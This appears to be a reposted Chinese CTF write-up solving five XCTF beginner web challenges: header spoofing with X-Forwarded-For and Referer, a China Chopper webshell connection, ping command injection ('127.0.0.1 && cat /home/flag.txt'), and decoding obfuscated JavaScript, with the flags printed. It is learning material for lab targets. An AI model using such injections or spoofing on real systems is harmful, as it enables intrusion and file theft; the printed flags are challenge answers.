攻防世界web解题(二)
介绍:记录一下笔记,方便以后迅速回忆使用。
8.get_post(Get请求变Post请求)
X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?
- 根据提示
用GET方式提交一个名为a,值为1的变量
- 访问
http://IP:POST?a=1
- 再根据提示再
以POST方式随便提交一个名为b,值为2的变量
- 我直接用Postman来提交
- 回显得到
flag
9.xff_referer(伪造ip地址和请求地址)
题目描述:X老师告诉小宁其实xff和referer是可以伪造的。
-首页
...
<body>
<p id="demo">ip地址必须为123.123.123.123</p>
</body>
...
- 那就伪造ip地址,这里用关键字段
X-Forwarded-For
- 在请求头中添加或修改这一行
X-Forwarded-For:123.123.123.123
- 回显
<script>document.getElementById("demo").innerHTML="必须来自https://www.google.com";</script>
- 那就伪造请求地址,这里用
防止盗链
的关键字段Referer
- 在请求头中添加或修改这一行
Referer:https://www.google.com
- 最终请求包
...
X-Forwarded-For:123.123.123.123
Referer:https://www.google.com
Connection: close
- 回显
...
<body>
<p id="demo">ip地址必须为123.123.123.123</p>
<script>document.getElementById("demo").innerHTML="必须来自https://www.google.com";</script><script>document.getElementById("demo").innerHTML="cyberpeace{a853592fc178911cb2a89ef2450ec862}";</script></body>
</html>
- 回显中得到
flag
cyberpeace{a853592fc178911cb2a89ef2450ec862}
10.webshell(一句话木马)
题目描述:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
-
打开中国菜刀,右键点添加,输入url和key,再点添加,连接网站后台
-
打开flag.txt文件得到
flag
11.command_execution(Ping多命令执行)
题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
-输入127.0.0.1,ping通了还有回显
现在可以利用&& 或| 使用多命令执行 |
---|
- 查找名字含flag的文件命令
127.0.0.1 && find / -name "*flag*.*"
- 找到了2个,显然就是这个
/home/flag.txt
了
/home/flag.txt
/usr/lib/perl/5.18.2/bits/waitflags.ph
- 用
cat命令
查看文件内容
127.0.0.1 && cat /home/flag.txt
- 得到flag
cyberpeace{84943378fff7024cc9596cf004d69f9f}
12.simple_js(javaScript藏flag)
小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )
-
首页:
-
输入错误时:
-
curl+u
查看网页源码 -
源码有点乱,整理如下
<html>
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');//将用户输入转换成列表
var tab2 = pass.split(',');
var i,j,k,l=0,m,n,o,p = "";
i = 0;
j = tab.length;//用户输入列表的长度
k = j + (l) + (n=0); // k = j
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5){
break;
}
}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1){
p += String.fromCharCode((o = tab2[i]));
}
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
</script>
</head>
</html>
- 这里有一个
String.fromCharCode()函数
用于从一些Unicode字符值中返回一个字符串。
JavaScript String.fromCharCode() 函数详解
- 而错误信息就是由变量 pass 经
fromCharCode()函数
转换而来
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
- 变量 pass 经
fromCharCode()函数
转换
在下面代码中:
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
- 这一段
"\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
我们用python输出看一看
a = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
print(a)
>>> 55,56,54,79,115,69,114,116,107,49,50
-
经
fromCharCode()函数
转换
-
我们得到字符串
786OsErtk12
- 根据提示
(Flag格式为 Cyberpeace{xxxxxxxxx} )
得到flag
Cyberpeace{786OsErtk12}
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92724.html